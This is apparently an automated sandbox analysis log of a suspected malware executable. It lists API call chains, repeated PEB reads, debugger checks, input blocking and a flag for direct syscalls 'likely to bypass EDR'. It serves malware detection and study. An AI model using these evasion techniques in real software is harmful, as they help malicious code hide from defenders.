Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032FC2C0 FindFirstFileW,FindNextFileW,FindClose,	6_2_032FC2C0

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: IqZHJpXEsts.exe, 00000007.00000002.3639353647.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: firefox.exe, 00000008.00000002.2391720024.00000228E238C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
Source: netbtugc.exe, 00000006.00000002.3639094585.000000000365E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

API call chain: ExitProcess graph end node

graph_0-84822

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0357096E rdtsc

1_2_0357096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_004172B3 LdrLoadDll,

1_2_004172B3

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_041986D0 mov eax, dword ptr fs:[00000030h]	0_2_041986D0
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_04199D10 mov eax, dword ptr fs:[00000030h]	0_2_04199D10
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_04199D70 mov eax, dword ptr fs:[00000030h]	0_2_04199D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov eax, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov eax, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov eax, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov ecx, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov eax, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B035C mov eax, dword ptr fs:[00000030h]	1_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FA352 mov eax, dword ptr fs:[00000030h]	1_2_035FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D8350 mov ecx, dword ptr fs:[00000030h]	1_2_035D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B2349 mov eax, dword ptr fs:[00000030h]	1_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D437C mov eax, dword ptr fs:[00000030h]	1_2_035D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352C310 mov ecx, dword ptr fs:[00000030h]	1_2_0352C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03550310 mov ecx, dword ptr fs:[00000030h]	1_2_03550310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A30B mov eax, dword ptr fs:[00000030h]	1_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A30B mov eax, dword ptr fs:[00000030h]	1_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A30B mov eax, dword ptr fs:[00000030h]	1_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE3DB mov eax, dword ptr fs:[00000030h]	1_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE3DB mov eax, dword ptr fs:[00000030h]	1_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE3DB mov eax, dword ptr fs:[00000030h]	1_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D43D4 mov eax, dword ptr fs:[00000030h]	1_2_035D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D43D4 mov eax, dword ptr fs:[00000030h]	1_2_035D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EC3CD mov eax, dword ptr fs:[00000030h]	1_2_035EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035383C0 mov eax, dword ptr fs:[00000030h]	1_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035383C0 mov eax, dword ptr fs:[00000030h]	1_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035383C0 mov eax, dword ptr fs:[00000030h]	1_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035383C0 mov eax, dword ptr fs:[00000030h]	1_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B63C0 mov eax, dword ptr fs:[00000030h]	1_2_035B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035663FF mov eax, dword ptr fs:[00000030h]	1_2_035663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035403E9 mov eax, dword ptr fs:[00000030h]	1_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03528397 mov eax, dword ptr fs:[00000030h]	1_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03528397 mov eax, dword ptr fs:[00000030h]	1_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03528397 mov eax, dword ptr fs:[00000030h]	1_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E388 mov eax, dword ptr fs:[00000030h]	1_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E388 mov eax, dword ptr fs:[00000030h]	1_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352E388 mov eax, dword ptr fs:[00000030h]	1_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355438F mov eax, dword ptr fs:[00000030h]	1_2_0355438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355438F mov eax, dword ptr fs:[00000030h]	1_2_0355438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A250 mov eax, dword ptr fs:[00000030h]	1_2_0352A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536259 mov eax, dword ptr fs:[00000030h]	1_2_03536259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA250 mov eax, dword ptr fs:[00000030h]	1_2_035EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA250 mov eax, dword ptr fs:[00000030h]	1_2_035EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B8243 mov eax, dword ptr fs:[00000030h]	1_2_035B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B8243 mov ecx, dword ptr fs:[00000030h]	1_2_035B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E0274 mov eax, dword ptr fs:[00000030h]	1_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534260 mov eax, dword ptr fs:[00000030h]	1_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534260 mov eax, dword ptr fs:[00000030h]	1_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534260 mov eax, dword ptr fs:[00000030h]	1_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352826B mov eax, dword ptr fs:[00000030h]	1_2_0352826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352823B mov eax, dword ptr fs:[00000030h]	1_2_0352823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035402E1 mov eax, dword ptr fs:[00000030h]	1_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035402E1 mov eax, dword ptr fs:[00000030h]	1_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035402E1 mov eax, dword ptr fs:[00000030h]	1_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E284 mov eax, dword ptr fs:[00000030h]	1_2_0356E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356E284 mov eax, dword ptr fs:[00000030h]	1_2_0356E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B0283 mov eax, dword ptr fs:[00000030h]	1_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B0283 mov eax, dword ptr fs:[00000030h]	1_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B0283 mov eax, dword ptr fs:[00000030h]	1_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035402A0 mov eax, dword ptr fs:[00000030h]	1_2_035402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035402A0 mov eax, dword ptr fs:[00000030h]	1_2_035402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov eax, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov eax, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov eax, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov eax, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C62A0 mov eax, dword ptr fs:[00000030h]	1_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352C156 mov eax, dword ptr fs:[00000030h]	1_2_0352C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C8158 mov eax, dword ptr fs:[00000030h]	1_2_035C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536154 mov eax, dword ptr fs:[00000030h]	1_2_03536154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03536154 mov eax, dword ptr fs:[00000030h]	1_2_03536154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C4144 mov eax, dword ptr fs:[00000030h]	1_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C4144 mov eax, dword ptr fs:[00000030h]	1_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C4144 mov ecx, dword ptr fs:[00000030h]	1_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C4144 mov eax, dword ptr fs:[00000030h]	1_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C4144 mov eax, dword ptr fs:[00000030h]	1_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DA118 mov ecx, dword ptr fs:[00000030h]	1_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DA118 mov eax, dword ptr fs:[00000030h]	1_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DA118 mov eax, dword ptr fs:[00000030h]	1_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DA118 mov eax, dword ptr fs:[00000030h]	1_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F0115 mov eax, dword ptr fs:[00000030h]	1_2_035F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov ecx, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov ecx, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov ecx, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov eax, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035DE10E mov ecx, dword ptr fs:[00000030h]	1_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03560124 mov eax, dword ptr fs:[00000030h]	1_2_03560124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036061E5 mov eax, dword ptr fs:[00000030h]	1_2_036061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F61C3 mov eax, dword ptr fs:[00000030h]	1_2_035F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F61C3 mov eax, dword ptr fs:[00000030h]	1_2_035F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035601F8 mov eax, dword ptr fs:[00000030h]	1_2_035601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B019F mov eax, dword ptr fs:[00000030h]	1_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B019F mov eax, dword ptr fs:[00000030h]	1_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B019F mov eax, dword ptr fs:[00000030h]	1_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B019F mov eax, dword ptr fs:[00000030h]	1_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A197 mov eax, dword ptr fs:[00000030h]	1_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A197 mov eax, dword ptr fs:[00000030h]	1_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A197 mov eax, dword ptr fs:[00000030h]	1_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03570185 mov eax, dword ptr fs:[00000030h]	1_2_03570185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EC188 mov eax, dword ptr fs:[00000030h]	1_2_035EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EC188 mov eax, dword ptr fs:[00000030h]	1_2_035EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D4180 mov eax, dword ptr fs:[00000030h]	1_2_035D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D4180 mov eax, dword ptr fs:[00000030h]	1_2_035D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03532050 mov eax, dword ptr fs:[00000030h]	1_2_03532050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B6050 mov eax, dword ptr fs:[00000030h]	1_2_035B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355C073 mov eax, dword ptr fs:[00000030h]	1_2_0355C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E016 mov eax, dword ptr fs:[00000030h]	1_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E016 mov eax, dword ptr fs:[00000030h]	1_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E016 mov eax, dword ptr fs:[00000030h]	1_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0354E016 mov eax, dword ptr fs:[00000030h]	1_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B4000 mov ecx, dword ptr fs:[00000030h]	1_2_035B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D2000 mov eax, dword ptr fs:[00000030h]	1_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6030 mov eax, dword ptr fs:[00000030h]	1_2_035C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A020 mov eax, dword ptr fs:[00000030h]	1_2_0352A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352C020 mov eax, dword ptr fs:[00000030h]	1_2_0352C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B20DE mov eax, dword ptr fs:[00000030h]	1_2_035B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0352C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035720F0 mov ecx, dword ptr fs:[00000030h]	1_2_035720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0352A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035380E9 mov eax, dword ptr fs:[00000030h]	1_2_035380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B60E0 mov eax, dword ptr fs:[00000030h]	1_2_035B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353208A mov eax, dword ptr fs:[00000030h]	1_2_0353208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F60B8 mov eax, dword ptr fs:[00000030h]	1_2_035F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_035F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C80A8 mov eax, dword ptr fs:[00000030h]	1_2_035C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530750 mov eax, dword ptr fs:[00000030h]	1_2_03530750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BE75D mov eax, dword ptr fs:[00000030h]	1_2_035BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572750 mov eax, dword ptr fs:[00000030h]	1_2_03572750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03572750 mov eax, dword ptr fs:[00000030h]	1_2_03572750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B4755 mov eax, dword ptr fs:[00000030h]	1_2_035B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356674D mov esi, dword ptr fs:[00000030h]	1_2_0356674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356674D mov eax, dword ptr fs:[00000030h]	1_2_0356674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356674D mov eax, dword ptr fs:[00000030h]	1_2_0356674D
